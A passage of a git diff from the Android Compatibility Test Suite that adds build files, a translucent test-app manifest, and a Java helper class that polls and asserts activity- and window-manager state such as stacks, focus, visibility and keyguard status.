+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := \
+ $(call all-java-files-under, ../translucentapp/src) \
+
+LOCAL_SDK_VERSION := 26
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsDeviceTranslucentTestApp26
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/framework/base/activitymanager/translucentappsdk26/AndroidManifest.xml b/tests/framework/base/activitymanager/translucentappsdk26/AndroidManifest.xml
new file mode 100755
index 0000000..43c85f5
--- /dev/null
+++ b/tests/framework/base/activitymanager/translucentappsdk26/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+ package="android.server.translucentapp26">
+ <application android:label="CtsTranslucentApp26">
+ <activity android:name="android.server.translucentapp.TranslucentLandscapeActivity"
+ android:theme="@android:style/Theme.Translucent.NoTitleBar"
+ android:exported="true"
+ android:screenOrientation="landscape">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
+
diff --git a/tests/framework/base/activitymanager/util/Android.mk b/tests/framework/base/activitymanager/util/Android.mk
new file mode 100644
index 0000000..6fa0331
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2012 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests optional
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ platformprotosnano \
+ compatibility-device-util \
+ android-support-test
+
+LOCAL_JAVA_LIBRARIES := core-oj core-libart
+
+LOCAL_MODULE := cts-amwm-util
+
+LOCAL_SDK_VERSION := test_current
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/services/activityandwindowmanager/util/run-test b/tests/framework/base/activitymanager/util/run-test
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/util/run-test
rename to tests/framework/base/activitymanager/util/run-test
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
new file mode 100644
index 0000000..583d787
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
@@ -0,0 +1,986 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.ActivityManager.StackId.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.content.pm.ActivityInfo.RESIZE_MODE_RESIZEABLE;
+import static android.server.am.ActivityManagerTestBase.componentName;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ComponentName;
+import android.graphics.Rect;
+import android.server.am.ActivityManagerState.ActivityStack;
+import android.server.am.ActivityManagerState.ActivityTask;
+import android.server.am.WindowManagerState.Display;
+import android.server.am.WindowManagerState.WindowStack;
+import android.server.am.WindowManagerState.WindowState;
+import android.server.am.WindowManagerState.WindowTask;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Objects;
+import java.util.function.BiPredicate;
+import java.util.function.BooleanSupplier;
+import java.util.function.Predicate;
+
+/**
+ * Combined state of the activity manager and window manager.
+ */
+public class ActivityAndWindowManagersState {
+
+ // Clone of android DisplayMetrics.DENSITY_DEFAULT (DENSITY_MEDIUM)
+ // (Needed in host-side tests to convert dp to px.)
+ private static final int DISPLAY_DENSITY_DEFAULT = 160;
+ // TODO: Change to use framework constant.
+ public static final int DEFAULT_DISPLAY_ID = 0;
+
+ // Default minimal size of resizable task, used if none is set explicitly.
+ // Must be kept in sync with 'default_minimal_size_resizable_task' dimen from frameworks/base.
+ private static final int DEFAULT_RESIZABLE_TASK_SIZE_DP = 220;
+
+ // Default minimal size of a resizable PiP task, used if none is set explicitly.
+ // Must be kept in sync with 'default_minimal_size_pip_resizable_task' dimen from
+ // frameworks/base.
+ private static final int DEFAULT_PIP_RESIZABLE_TASK_SIZE_DP = 108;
+
+ private ActivityManagerState mAmState = new ActivityManagerState();
+ private WindowManagerState mWmState = new WindowManagerState();
+
+ private boolean mUseActivityNames = true;
+
+ @Deprecated
+ public void computeState(String... waitForActivitiesVisible)
+ throws Exception {
+ WaitForValidActivityState[] states = waitForActivitiesVisible != null ?
+ new WaitForValidActivityState[waitForActivitiesVisible.length] : null;
+ if (states != null) {
+ for (int i = 0; i < waitForActivitiesVisible.length; i++) {
+ states[i] =
+ new WaitForValidActivityState.Builder(waitForActivitiesVisible[i]).build();
+ }
+ }
+ computeState(states);
+ }
+
+ @Deprecated
+ public void computeState() throws Exception {
+ computeState(true);
+ }
+
+ /**
+ * Compute AM and WM state of device, check sanity and bounds.
+ * WM state will include only visible windows, stack and task bounds will be compared.
+ *
+ * @param waitForActivitiesVisible array of activity names to wait for.
+ */
+ public void computeState(WaitForValidActivityState... waitForActivitiesVisible)
+ throws Exception {
+ computeState(true, waitForActivitiesVisible);
+ }
+
+ /**
+ * Compute AM and WM state of device, check sanity and bounds.
+ *
+ * @param compareTaskAndStackBounds pass 'true' if stack and task bounds should be compared,
+ * 'false' otherwise.
+ * @param waitForActivitiesVisible array of activity states to wait for.
+ */
+ void computeState(boolean compareTaskAndStackBounds,
+ WaitForValidActivityState... waitForActivitiesVisible) throws Exception {
+ waitForValidState(compareTaskAndStackBounds, waitForActivitiesVisible);
+ assertSanity();
+ assertValidBounds(compareTaskAndStackBounds);
+ }
+
+ /**
+ * By default computeState allows you to pass only the activity name it and
+ * it will generate the full window name for the main activity window. In the
+ * case of secondary application windows though this isn't helpful, as they
+ * may follow a different format, so this method lets you disable that behavior,
+ * prior to calling a computeState variant
+ */
+ public void setUseActivityNamesForWindowNames(boolean useActivityNames) {
+ mUseActivityNames = useActivityNames;
+ }
+
+ /**
+ * Compute AM and WM state of device, wait for the activity records to be added, and
+ * wait for debugger window to show up.
+ *
+ * This should only be used when starting with -D (debugger) option, where we pop up the
+ * waiting-for-debugger window, but real activity window won't show up since we're waiting
+ * for debugger.
+ */
+ void waitForDebuggerWindowVisible(String[] waitForActivityRecords) {
+ int retriesLeft = 5;
+ do {
+ mAmState.computeState();
+ mWmState.computeState();
+ if (shouldWaitForDebuggerWindow() ||
+ shouldWaitForActivityRecords(waitForActivityRecords)) {
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ // Well I guess we are not waiting...
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+ }
+
+ /**
+ * Wait for the activity to appear and for valid state in AM and WM.
+ *
+ * @param waitForActivityVisible name of activity to wait for.
+ */
+ @Deprecated
+ void waitForValidState(String waitForActivityVisible)
+ throws Exception {
+ waitForValidState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder()
+ .setActivityName(waitForActivityVisible)
+ .build());
+ }
+
+ /** Wait for the activity to appear and for valid state in AM and WM. */
+ void waitForValidState(WaitForValidActivityState... waitForActivityVisible) throws Exception {
+ waitForValidState(false /* compareTaskAndStackBounds */, waitForActivityVisible);
+ }
+
+ /**
+ * Wait for the activity to appear in proper stack and for valid state in AM and WM.
+ *
+ * @param waitForActivityVisible name of activity to wait for.
+ * @param stackId id of the stack where provided activity should be found.
+ */
+ @Deprecated
+ void waitForValidState(String waitForActivityVisible, int stackId)
+ throws Exception {
+ waitForValidState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder()
+ .setActivityName(waitForActivityVisible)
+ .setStackId(stackId)
+ .build());
+ }
+
+ void waitForValidStateWithActivityType(String waitForActivityVisible, int activityType)
+ throws Exception {
+ waitForValidState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder()
+ .setActivityName(waitForActivityVisible)
+ .setActivityType(activityType)
+ .build());
+ }
+
+ void waitForValidState(String waitForActivityVisible, int windowingMode, int activityType)
+ throws Exception {
+ waitForValidState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder()
+ .setActivityName(waitForActivityVisible)
+ .setActivityType(activityType)
+ .setWindowingMode(windowingMode)
+ .build());
+ }
+
+ /**
+ * Wait for the activities to appear in proper stacks and for valid state in AM and WM.
+ *
+ * @param compareTaskAndStackBounds flag indicating if we should compare task and stack bounds
+ * for equality.
+ * @param waitForActivitiesVisible array of activity state to wait for.
+ */
+ private void waitForValidState(boolean compareTaskAndStackBounds,
+ WaitForValidActivityState... waitForActivitiesVisible) throws Exception {
+ waitForValidState(compareTaskAndStackBounds, componentName, waitForActivitiesVisible);
+ }
+
+ /**
+ * Wait for the activities to appear in proper stacks and for valid state in AM and WM.
+ *
+ * @param compareTaskAndStackBounds flag indicating if we should compare task and stack bounds
+ * for equality.
+ * @param packageName name of the package of activities that we're waiting for.
+ * @param waitForActivitiesVisible array of activity states to wait for.
+ */
+ void waitForValidState(boolean compareTaskAndStackBounds, String packageName,
+ WaitForValidActivityState... waitForActivitiesVisible) throws Exception {
+ int retriesLeft = 5;
+ do {
+ // TODO: Get state of AM and WM at the same time to avoid mismatches caused by
+ // requesting dump in some intermediate state.
+ mAmState.computeState();
+ mWmState.computeState();
+ if (shouldWaitForValidStacks(compareTaskAndStackBounds)
+ || shouldWaitForActivities(packageName, waitForActivitiesVisible)
+ || shouldWaitForWindows()) {
+ log("***Waiting for valid stacks and activities states...");
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ // Well I guess we are not waiting...
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+ }
+
+ void waitForAllStoppedActivities() throws Exception {
+ int retriesLeft = 5;
+ do {
+ mAmState.computeState();
+ if (mAmState.containsStartedActivities()){
+ log("***Waiting for valid stacks and activities states...");
+ try {
+ Thread.sleep(1500);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ // Well I guess we are not waiting...
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+
+ assertFalse(mAmState.containsStartedActivities());
+ }
+
+ void waitForHomeActivityVisible() throws Exception {
+ ComponentName homeActivity = mAmState.getHomeActivityName();
+ // Sometimes this function is called before we know what Home Activity is
+ if (homeActivity == null) {
+ log("Computing state to determine Home Activity");
+ computeState();
+ homeActivity = mAmState.getHomeActivityName();
+ }
+ assertNotNull("homeActivity should not be null", homeActivity);
+ waitForValidState(new WaitForValidActivityState(homeActivity));
+ }
+
+ /**
+ * @return true if recents activity is visible. Devices without recents will return false
+ */
+ boolean waitForRecentsActivityVisible() throws Exception {
+ waitForWithAmState(ActivityManagerState::isRecentsActivityVisible,
+ "***Waiting for recents activity to be visible...");
+ return mAmState.isRecentsActivityVisible();
+ }
+
+ void waitForKeyguardShowingAndNotOccluded() throws Exception {
+ waitForWithAmState(state -> state.getKeyguardControllerState().keyguardShowing
+ && !state.getKeyguardControllerState().keyguardOccluded,
+ "***Waiting for Keyguard showing...");
+ }
+
+ void waitForKeyguardShowingAndOccluded() throws Exception {
+ waitForWithAmState(state -> state.getKeyguardControllerState().keyguardShowing
+ && state.getKeyguardControllerState().keyguardOccluded,
+ "***Waiting for Keyguard showing and occluded...");
+ }
+
+ void waitForKeyguardGone() throws Exception {
+ waitForWithAmState(state -> !state.getKeyguardControllerState().keyguardShowing,
+ "***Waiting for Keyguard gone...");
+ }
+
+ void waitForRotation(int rotation) throws Exception {
+ waitForWithWmState(state -> state.getRotation() == rotation,
+ "***Waiting for Rotation: " + rotation);
+ }
+
+ void waitForDisplayUnfrozen() throws Exception {
+ waitForWithWmState(state -> !state.isDisplayFrozen(),
+ "***Waiting for Display unfrozen");
+ }
+
+ void waitForActivityState(String activityName, String activityState)
+ throws Exception {
+ waitForWithAmState(state -> state.hasActivityState(activityName, activityState),
+ "***Waiting for Activity State: " + activityState);
+ }
+
+ @Deprecated
+ void waitForFocusedStack(int stackId) throws Exception {
+ waitForWithAmState(state -> state.getFocusedStackId() == stackId,
+ "***Waiting for focused stack...");
+ }
+
+ void waitForFocusedStack(int windowingMode, int activityType) throws Exception {
+ waitForWithAmState(state ->
+ (activityType == ACTIVITY_TYPE_UNDEFINED
+ || state.getFocusedStackActivityType() == activityType)
+ && (windowingMode == WINDOWING_MODE_UNDEFINED
+ || state.getFocusedStackWindowingMode() == windowingMode),
+ "***Waiting for focused stack...");
+ }
+
+ void waitForAppTransitionIdle() throws Exception {
+ waitForWithWmState(
+ state -> WindowManagerState.APP_STATE_IDLE.equals(state.getAppTransitionState()),
+ "***Waiting for app transition idle...");
+ }
+
+ void waitForWithAmState(Predicate<ActivityManagerState> waitCondition,
+ String message) throws Exception {
+ waitFor((amState, wmState) -> waitCondition.test(amState), message);
+ }
+
+ void waitForWithWmState(Predicate<WindowManagerState> waitCondition,
+ String message) throws Exception {
+ waitFor((amState, wmState) -> waitCondition.test(wmState), message);
+ }
+
+ void waitFor(
+ BiPredicate<ActivityManagerState, WindowManagerState> waitCondition, String message)
+ throws Exception {
+ waitFor(message, () -> {
+ try {
+ mAmState.computeState();
+ mWmState.computeState();
+ } catch (Exception e) {
+ logE(e.toString());
+ return false;
+ }
+ return waitCondition.test(mAmState, mWmState);
+ });
+ }
+
+ void waitFor(String message, BooleanSupplier waitCondition) throws Exception {
+ int retriesLeft = 5;
+ do {
+ if (!waitCondition.getAsBoolean()) {
+ log(message);
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ // Well I guess we are not waiting...
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+ }
+
+ /**
+ * @return true if should wait for valid stacks state.
+ */
+ private boolean shouldWaitForValidStacks(boolean compareTaskAndStackBounds) {
+ if (!taskListsInAmAndWmAreEqual()) {
+ // We want to wait for equal task lists in AM and WM in case we caught them in the
+ // middle of some state change operations.
+ log("***taskListsInAmAndWmAreEqual=false");
+ return true;
+ }
+ if (!stackBoundsInAMAndWMAreEqual()) {
+ // We want to wait a little for the stacks in AM and WM to have equal bounds as there
+ // might be a transition animation ongoing when we got the states from WM AM separately.
+ log("***stackBoundsInAMAndWMAreEqual=false");
+ return true;
+ }
+ try {
+ // Temporary fix to avoid catching intermediate state with different task bounds in AM
+ // and WM.
+ assertValidBounds(compareTaskAndStackBounds);
+ } catch (AssertionError e) {
+ log("***taskBoundsInAMAndWMAreEqual=false : " + e.getMessage());
+ return true;
+ }
+ final int stackCount = mAmState.getStackCount();
+ if (stackCount == 0) {
+ log("***stackCount=" + stackCount);
+ return true;
+ }
+ final int resumedActivitiesCount = mAmState.getResumedActivitiesCount();
+ if (!mAmState.getKeyguardControllerState().keyguardShowing && resumedActivitiesCount != 1) {
+ log("***resumedActivitiesCount=" + resumedActivitiesCount);
+ return true;
+ }
+ if (mAmState.getFocusedActivity() == null) {
+ log("***focusedActivity=null");
+ return true;
+ }
+ return false;
+ }
+
+ /**
+ * @return true if should wait for some activities to become visible.
+ */
+ private boolean shouldWaitForActivities(String packageName,
+ WaitForValidActivityState... waitForActivitiesVisible) {
+ if (waitForActivitiesVisible == null || waitForActivitiesVisible.length == 0) {
+ return false;
+ }
+ // If the caller is interested in us waiting for some particular activity windows to be
+ // visible before compute the state. Check for the visibility of those activity windows
+ // and for placing them in correct stacks (if requested).
+ boolean allActivityWindowsVisible = true;
+ boolean tasksInCorrectStacks = true;
+ List<WindowState> matchingWindowStates = new ArrayList<>();
+ for (int i = 0; i < waitForActivitiesVisible.length; i++) {
+ final WaitForValidActivityState state = waitForActivitiesVisible[i];
+ final String activityComponentName;
+ final String windowName;
+ if (state.componentName != null) {
+ activityComponentName = state.componentName.flattenToShortString();
+ windowName = state.componentName.flattenToString();
+ } else {
+ final String activityName = waitForActivitiesVisible[i].activityName;
+ activityComponentName =
+ ActivityManagerTestBase.getActivityComponentName(packageName, activityName);
+ // Check if window is visible - it should be represented as one of the window
+ // states.
+ windowName = mUseActivityNames
+ ? ActivityManagerTestBase.getWindowName(packageName, activityName)
+ : activityName;
+ }
+ final int stackId = waitForActivitiesVisible[i].stackId;
+ final int windowingMode = waitForActivitiesVisible[i].windowingMode;
+ final int activityType = waitForActivitiesVisible[i].activityType;
+
+ mWmState.getMatchingVisibleWindowState(windowName, matchingWindowStates);
+ boolean activityWindowVisible = !matchingWindowStates.isEmpty();
+ if (!activityWindowVisible) {
+ log("Activity window not visible: " + windowName);
+ allActivityWindowsVisible = false;
+ } else if (!mAmState.isActivityVisible(activityComponentName)) {
+ log("Activity not visible: " + activityComponentName);
+ allActivityWindowsVisible = false;
+ } else {
+ // Check if window is already the correct state requested by test.
+ boolean windowInCorrectState = false;
+ for (WindowState ws : matchingWindowStates) {
+ if (stackId != INVALID_STACK_ID && ws.getStackId() != stackId) {
+ continue;
+ }
+ if (windowingMode != WINDOWING_MODE_UNDEFINED
+ && ws.getWindowingMode() != windowingMode) {
+ continue;
+ }
+ if (activityType != ACTIVITY_TYPE_UNDEFINED
+ && ws.getActivityType() != activityType) {
+ continue;
+ }
+ windowInCorrectState = true;
+ break;
+ }
+
+ if (!windowInCorrectState) {
+ log("Window in incorrect stack: " + waitForActivitiesVisible[i]);
+ tasksInCorrectStacks = false;
+ }
+ }
+ }
+ return !allActivityWindowsVisible || !tasksInCorrectStacks;
+ }
+
+ /**
+ * @return true if should wait valid windows state.
+ */
+ private boolean shouldWaitForWindows() {
+ if (mWmState.getFrontWindow() == null) {
+ log("***frontWindow=null");
+ return true;
+ }
+ if (mWmState.getFocusedWindow() == null) {
+ log("***focusedWindow=null");
+ return true;
+ }
+ if (mWmState.getFocusedApp() == null) {
+ log("***focusedApp=null");
+ return true;
+ }
+
+ return false;
+ }
+
+ private boolean shouldWaitForDebuggerWindow() {
+ List<WindowState> matchingWindowStates = new ArrayList<>();
+ mWmState.getMatchingVisibleWindowState("android.server.am", matchingWindowStates);
+ for (WindowState ws : matchingWindowStates) {
+ if (ws.isDebuggerWindow()) {
+ return false;
+ }
+ }
+ log("Debugger window not available yet");
+ return true;
+ }
+
+ private boolean shouldWaitForActivityRecords(String[] waitForActivityRecords) {
+ if (waitForActivityRecords == null || waitForActivityRecords.length == 0) {
+ return false;
+ }
+ // Check if the activity records we're looking for is already added.
+ for (int i = 0; i < waitForActivityRecords.length; i++) {
+ if (!mAmState.isActivityVisible(waitForActivityRecords[i])) {
+ log("ActivityRecord " + waitForActivityRecords[i] + " not visible yet");
+ return true;
+ }
+ }
+ return false;
+ }
+
+ ActivityManagerState getAmState() {
+ return mAmState;
+ }
+
+ public WindowManagerState getWmState() {
+ return mWmState;
+ }
+
+ void assertSanity() throws Exception {
+ assertTrue("Must have stacks", mAmState.getStackCount() > 0);
+ if (!mAmState.getKeyguardControllerState().keyguardShowing) {
+ assertEquals("There should be one and only one resumed activity in the system.",
+ 1, mAmState.getResumedActivitiesCount());
+ }
+ assertNotNull("Must have focus activity.", mAmState.getFocusedActivity());
+
+ for (ActivityStack aStack : mAmState.getStacks()) {
+ final int stackId = aStack.mStackId;
+ for (ActivityTask aTask : aStack.getTasks()) {
+ assertEquals("Stack can only contain its own tasks", stackId, aTask.mStackId);
+ }
+ }
+
+ assertNotNull("Must have front window.", mWmState.getFrontWindow());
+ assertNotNull("Must have focused window.", mWmState.getFocusedWindow());
+ assertNotNull("Must have app.", mWmState.getFocusedApp());
+ }
+
+ void assertContainsStack(String msg, int windowingMode, int activityType) throws Exception {
+ assertTrue(msg, mAmState.containsStack(windowingMode, activityType));
+ assertTrue(msg, mWmState.containsStack(windowingMode, activityType));
+ }
+
+ @Deprecated
+ void assertDoesNotContainStack(String msg, int stackId) throws Exception {
+ assertFalse(msg, mAmState.containsStack(stackId));
+ assertFalse(msg, mWmState.containsStack(stackId));
+ }
+
+ void assertDoesNotContainStack(String msg, int windowingMode, int activityType)
+ throws Exception {
+ assertFalse(msg, mAmState.containsStack(windowingMode, activityType));
+ assertFalse(msg, mWmState.containsStack(windowingMode, activityType));
+ }
+
+ void assertFrontStack(String msg, int stackId) throws Exception {
+ assertEquals(msg, stackId, mAmState.getFrontStackId(DEFAULT_DISPLAY_ID));
+ assertEquals(msg, stackId, mWmState.getFrontStackId(DEFAULT_DISPLAY_ID));
+ }
+
+ void assertFrontStack(String msg, int windowingMode, int activityType)
+ throws Exception {
+ if (windowingMode != WINDOWING_MODE_UNDEFINED) {
+ assertEquals(msg, windowingMode,
+ mAmState.getFrontStackWindowingMode(DEFAULT_DISPLAY_ID));
+ }
+ if (activityType != ACTIVITY_TYPE_UNDEFINED) {
+ assertEquals(msg, activityType, mAmState.getFrontStackActivityType(DEFAULT_DISPLAY_ID));
+ }
+ }
+
+ void assertFrontStackActivityType(String msg, int activityType) throws Exception {
+ assertEquals(msg, activityType, mAmState.getFrontStackActivityType(DEFAULT_DISPLAY_ID));
+ assertEquals(msg, activityType, mWmState.getFrontStackActivityType(DEFAULT_DISPLAY_ID));
+ }
+
+ @Deprecated
+ void assertFocusedStack(String msg, int stackId) throws Exception {
+ assertEquals(msg, stackId, mAmState.getFocusedStackId());
+ }
+
+ void assertFocusedStack(String msg, int windowingMode, int activityType)
+ throws Exception {
+ if (windowingMode != WINDOWING_MODE_UNDEFINED) {
+ assertEquals(msg, windowingMode, mAmState.getFocusedStackWindowingMode());
+ }
+ if (activityType != ACTIVITY_TYPE_UNDEFINED) {
+ assertEquals(msg, activityType, mAmState.getFocusedStackActivityType());
+ }
+ }
+
+ void assertFocusedActivity(String msg, String activityName) throws Exception {
+ assertFocusedActivity(msg, componentName, activityName);
+ }
+
+ void assertFocusedActivity(String msg, String packageName, String activityName)
+ throws Exception {
+ final String componentName = ActivityManagerTestBase.getActivityComponentName(packageName,
+ activityName);
+ assertEquals(msg, componentName, mAmState.getFocusedActivity());
+ assertEquals(msg, componentName, mWmState.getFocusedApp());
+ }
+
+ void assertNotFocusedActivity(String msg, String activityName) throws Exception {
+ final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
+ if (mAmState.getFocusedActivity().equals(componentName)) {
+ assertNotEquals(msg, mAmState.getFocusedActivity(), componentName);
+ }
+ if (mWmState.getFocusedApp().equals(componentName)) {
+ assertNotEquals(msg, mWmState.getFocusedApp(), componentName);
+ }
+ }
+
+ void assertResumedActivity(String msg, String activityName) throws Exception {
+ final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
+ assertEquals(msg, componentName, mAmState.getResumedActivity());
+ }
+
+ void assertNotResumedActivity(String msg, String activityName) throws Exception {
+ final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
+ if (mAmState.getResumedActivity().equals(componentName)) {
+ assertNotEquals(msg, mAmState.getResumedActivity(), componentName);
+ }
+ }
+
+ void assertFocusedWindow(String msg, String windowName) {
+ assertEquals(msg, windowName, mWmState.getFocusedWindow());
+ }
+
+ void assertNotFocusedWindow(String msg, String windowName) {
+ if (mWmState.getFocusedWindow().equals(windowName)) {
+ assertNotEquals(msg, mWmState.getFocusedWindow(), windowName);
+ }
+ }
+
+ void assertFrontWindow(String msg, String windowName) {
+ assertEquals(msg, windowName, mWmState.getFrontWindow());
+ }
+
+ public void assertVisibility(String activityName, boolean visible) {
+ final String activityComponentName =
+ ActivityManagerTestBase.getActivityComponentName(activityName);
+ final String windowName =
+ ActivityManagerTestBase.getWindowName(activityName);
+ assertVisibility(activityComponentName, windowName, visible);
+ }
+
+ private void assertVisibility(final ComponentName activityName, final boolean visible) {
+ final String activityComponentName = activityName.flattenToShortString();
+ final String windowName = activityName.flattenToString();
+ assertVisibility(activityComponentName, windowName, visible);
+ }
+
+ private void assertVisibility(String activityComponentName, String windowName,
+ boolean visible) {
+ final boolean activityVisible = mAmState.isActivityVisible(activityComponentName);
+ final boolean windowVisible = mWmState.isWindowVisible(windowName);
+
+ if (visible) {
+ assertTrue("Activity=" + activityComponentName + " must be visible.", activityVisible);
+ assertTrue("Window=" + windowName + " must be visible.", windowVisible);
+ } else {
+ assertFalse("Activity=" + activityComponentName + " must NOT be visible.",
+ activityVisible);
+ assertFalse("Window=" + windowName + " must NOT be visible.", windowVisible);
+ }
+ }
+
+ void assertHomeActivityVisible(boolean visible) {
+ final ComponentName homeActivity = mAmState.getHomeActivityName();
+ assertNotNull(homeActivity);
+ assertVisibility(homeActivity, visible);
+ }
+
+ /**
+ * Asserts that the device default display minimim width is larger than the minimum task width.
+ */
+ void assertDeviceDefaultDisplaySize(String errorMessage) throws Exception {
+ computeState();
+ final int minTaskSizePx = defaultMinimalTaskSize(DEFAULT_DISPLAY_ID);
+ final Display display = getWmState().getDisplay(DEFAULT_DISPLAY_ID);
+ final Rect displayRect = display.getDisplayRect();
+ if (Math.min(displayRect.width(), displayRect.height()) < minTaskSizePx) {
+ fail(errorMessage);
+ }
+ }
+
+ public void assertKeyguardShowingAndOccluded() {
+ assertTrue(getAmState().getKeyguardControllerState().keyguardShowing);
+ assertTrue(getAmState().getKeyguardControllerState().keyguardOccluded);
+ }
+
+ public void assertKeyguardShowingAndNotOccluded() {
+ assertTrue(getAmState().getKeyguardControllerState().keyguardShowing);
+ assertFalse(getAmState().getKeyguardControllerState().keyguardOccluded);
+ }
+
+ public void assertKeyguardGone() {
+ assertFalse(getAmState().getKeyguardControllerState().keyguardShowing);
+ }
+
+ boolean taskListsInAmAndWmAreEqual() {
+ for (ActivityStack aStack : mAmState.getStacks()) {
+ final int stackId = aStack.mStackId;
+ final WindowStack wStack = mWmState.getStack(stackId);
+ if (wStack == null) {
+ log("Waiting for stack setup in WM, stackId=" + stackId);
+ return false;
+ }
+
+ for (ActivityTask aTask : aStack.getTasks()) {
+ if (wStack.getTask(aTask.mTaskId) == null) {
+ log("Task is in AM but not in WM, waiting for it to settle, taskId="
+ + aTask.mTaskId);
+ return false;
+ }
+ }
+
+ for (WindowTask wTask : wStack.mTasks) {
+ if (aStack.getTask(wTask.mTaskId) == null) {
+ log("Task is in WM but not in AM, waiting for it to settle, taskId="
+ + wTask.mTaskId);
+ return false;
+ }
+ }
+ }
+ return true;
+ }
+
+ int getStackIndexByActivityType(int activityType) {
+ int wmStackIndex = mWmState.getStackIndexByActivityType(activityType);
+ int amStackIndex = mAmState.getStackIndexByActivityType(activityType);
+ assertEquals("Window and activity manager must have the same stack position index",
+ amStackIndex, wmStackIndex);
+ return wmStackIndex;
+ }
+
+ boolean stackBoundsInAMAndWMAreEqual() {
+ for (ActivityStack aStack : mAmState.getStacks()) {
+ final int stackId = aStack.mStackId;
+ final WindowStack wStack = mWmState.getStack(stackId);
+ if (aStack.isFullscreen() != wStack.isFullscreen()) {
+ log("Waiting for correct fullscreen state, stackId=" + stackId);
+ return false;
+ }
+
+ final Rect aStackBounds = aStack.getBounds();
+ final Rect wStackBounds = wStack.getBounds();
+
+ if (aStack.isFullscreen()) {
+ if (aStackBounds != null) {
+ log("Waiting for correct stack state in AM, stackId=" + stackId);
+ return false;
+ }
+ } else if (!Objects.equals(aStackBounds, wStackBounds)) {
+ // If stack is not fullscreen - comparing bounds. Not doing it always because
+ // for fullscreen stack bounds in WM can be either null or equal to display size.
+ log("Waiting for stack bound equality in AM and WM, stackId=" + stackId);
+ return false;
+ }
+ }
+
+ return true;
+ }
+
+ /**
+ * Check task bounds when docked to top/left.
+ */
